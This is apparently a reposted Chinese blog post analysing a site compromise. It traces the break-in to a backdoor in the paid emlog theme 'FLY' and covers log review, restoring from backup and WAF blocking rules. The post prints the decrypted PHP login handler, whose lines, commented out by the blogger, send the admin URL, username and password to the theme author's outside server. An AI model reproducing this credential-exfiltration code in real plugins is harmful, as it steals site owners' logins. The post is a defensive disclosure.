作者:jasonx
原文來自:記一次博客被日的分析過程
前言:
人在江湖漂,哪能不挨刀。小弟我的博客在21號被日了,想不到從來都是我日人,如今卻慘被人日(悲傷臉)
其實挨刀不可怕,可怕的是他砍到了我這塊鐵板上,滋出了一溜的火花。所謂知己知彼方能百戰不殆,必須知道對方是如何拿下我網站的,如果不分析出原因,下次被日的還是小弟我。
所以接下來,我們要對整個入侵事件進行一次簡單的分析。
0x01 博客基本情況
我博客用的系統是 centos6,博客程序是emlog的cms。模塊是一個付費模塊【fly】
說實話這個模塊挺好看的,首次安裝的時候我就D盾掃了下,看看是不是有后門,掃描結果除了發現幾個加密的php文件,其他看起來也沒啥毛病,所以就沒管了,想不到就是這幾個加密文件,才導致了博客被入侵。
被入侵的時間是8月21號,登錄服務器后發現文件被刪,index.php文件被篡改。
文件修改時間是2018年8月21日18:04:15
被掛的黑頁如下:
等等,這他媽不是我使用的模塊售后群嗎?
難道是作者日了我的站點?
當然不排除是其他黑客日了以后故意甩鍋給作者,所以我們先來分析一下日志再說。
0x02 入侵過程分析
首先我博客是用寶塔的控制面板,但是我888端口做了白名單,只有跳板IP可以訪問這個端口,ssh端口也做了白名單,沒有開放ftp,mysql沒有開放外聯,waf用的雲鎖。
第一步我們先登錄雲鎖看看,在20號左右沒有發現可疑日志。
那么我們先看看日志吧,先撥號上跳板,然后輸入xxxx.cc:888登錄雲鎖控制台。
然后進入【安全】菜單,點擊web日志的路徑進入。
然后下載19號之前和22號以后的日志
我的博客也沒啥流量,所以日志文件比較小,直接notepad++打開就行了。
因為之前看到那個黑頁的修改時間是2018年8月21日16:15:15
所以直接定位到8月21日18點04分左右的部分開始看.
直接在notepad++里面查找關鍵詞【.php】
然后定位到18點以后的部分。
疑似入侵者IP:222.240.56.48
查詢一下,湖南長沙的
現在咱們挨個文件看看他是如何發起攻擊的。
0x03 多做備份才能減少損失
因為博客上的文件已經被他刪得差不多了,只剩下一些配圖文件夾,不過還好本屌對接了阿里雲的oss。
每3天自動備份整站到阿里雲oss。
這里不得不贊一下阿里雲的oss,如果只是歸檔存儲的話,價格很便宜,不下載備份文件不用付費,只要購買儲存空間就行了
我們登錄阿里雲控制台,進入oss存儲。
然后進入文件管理,可以看到在19號之前的備份文件都是30多M
但是22號以后備份只有10多M了
所以我們得下載19號的這個備份文件去恢復到博客。
點擊19號這個文件,進入以后解凍文件,然后等大概兩分鍾就會解凍成功。
然后就能看到下載地址了,直接下載后上傳到我們博客,然后解壓就行了。
----小提示----
在恢復站點前,我們先閉站。
先把80端口和443端口加個白名單,只允許我們的IP訪問,這樣可以避免在你沒有查出問題之前,又被人給日了。
0x04 官方后門 最為致命
他訪問的第一個文件 /include/lib/checkcode.php
我們本地訪問以下看看,發現這是驗證碼的文件。
第二個文件/content/templates/FLY/inc/ajax.php?a=ajax
我們直接訪問后顯示;
{"code":"208"}
如果管理員處於登錄博客狀態,會返回賬號密碼等等數據。
那么問題肯定出在這個ajax.php上面了,我們打開看看。
厲害厲害,加密了,這里非常感謝“空格表哥”幫忙解密了這個文件
我們查找ajax看看,發現在這里,賬號密碼被打印出來了。
日志里面發現post了一個數據
/content/templates/FLY/inc/ajax.php?a=login
我們在解密后的ajax.php里面搜索login看看
好家伙,官方后門真可怕,看到我注釋的地方,已經明白大概是啥意思了。
我們登錄博客后台后,會把url 賬號 密碼等等數據傳送到作者的以下地址。
https://api.pjax.cn/i.php?data=
貼上代碼
if ($_GET['a'] == 'login') { $username = isset($_POST['user']) ? addslashes(trim($_POST['user'])) : ''; $password = isset($_POST['pw']) ? addslashes(trim($_POST['pw'])) : ''; $ispersis = isset($_POST['ispersis']) ? intval($_POST['ispersis']) : false; $img_code = Option::get('login_code') == 'y' && isset($_POST['imgcode']) ? addslashes(trim(strtoupper($_POST['imgcode']))) : ''; $errorCode = LoginAuth::checkUser($username, $password, $img_code); if ($errorCode === true) { LoginAuth::setAuthCookie($username, $ispersis); $userinfo = LoginAuth::getUserDataByLogin($username); $json = array('code' => '200', 'data' => $userinfo); $tempath = @file_get_contents(EMLOG_ROOT . '/content/templates/FLY/fonts/FontAwesome.woff'); $tempath = base64_decode($tempath); if ($tempath != BLOG_URL && $userinfo['role'] == 'admin') { #$url = 'https://api.pjax.cn/i.php?data=' . urlencode('盜版地址:' . BLOG_URL . '|盜版管理員賬號:' . $username . '|盜版管理員密碼:' . $password . '|泄露源:' . $tempath); #$data = @file_get_contents($url); } } else { if ($errorCode == '-3') { $json = array('code' => '201', 'info' => '驗證碼輸入有誤'); } else { if ($errorCode == '-1') { $json = array('code' => '202', 'info' => '賬號或密碼錯誤'); } else { if ($errorCode == '-2') { $json = array('code' => '203', 'info' => '賬號或密碼錯誤'); } } } } echo json_encode($json);
我們繼續往下看。
在這里他上傳了一個模塊文件,然后安裝。
因為日志里面沒有發現他訪問了其他PHP文件,所以我首頁文件index.php被修改的可能只有一個,就是他上傳的模塊里面已經寫好了黑頁,然后上傳模塊,覆蓋掉我網站上面的首頁文件。
然后刪除我的模塊,這也證明了為什么只刪除了模塊,而我文章配圖文件夾都還在的原因。
0x05 我們該去找找攻擊者了
先再確認一下是不是作者干的,通過日志已經知道IP地址了。
222.240.56.48
查詢是湖南長沙的。
沒錯了,就是你了,直接問下作者是啥意思。
事情已經很明了啦,因為我之前購買以后換過一次域名,作者以為我現在這個域名是盜用了他的模塊,然后把我日的,躺槍了,這他媽是誤傷啊。但是模塊存在后門這個是事實。
總結下過程
1.作者在/content/templates/FLY/inc/ajax.php文件里面寫了個后門
2.我們正常登錄后台以后,會自動把你的后台地址,賬號密碼發送到作者哪里
3.然后作者那邊有個授權列表,會做對比,如果不在授權列表里面,會單獨標記出來。
4.然后某一天你就被作者刪模塊,掛黑頁了.....
避免被日方法
以防護軟件【雲鎖】為例;
打開雲鎖,進入詳細設置
進入漏洞防護設置
新增一條防護規則
用正則禁止訪問/admin后台下的文件。
正則表達式;
/admin([\s\S]*?)
注意:新增這個規則以后你會無法訪問后台,不過你可以把你ip或者跳板機加入白名單,以后只有你跳板機和你IP可以訪問/admin下面的所有文件。
繼續禁止ajax=login
([\s\S]*?)?a=login
禁止下列幾個文件訪問
useragent_setting.php
install.php.lock
setting.php
functions.php
寫在最后
雖然這是一起誤傷事件,但是改變不了把我站日了的事實,所以,我做了一個決定,直接公開你的模塊,並寫出避免被日的方法。
收費模塊在最后,閱讀原文可見。
ajax文件后門部分已經被我注釋掉了,表哥們安心使用就是了。
另外有幾個加密文件不知道干啥用的,有興趣的表哥們自行解密研究看看。
原文來自:記一次博客被日的分析過程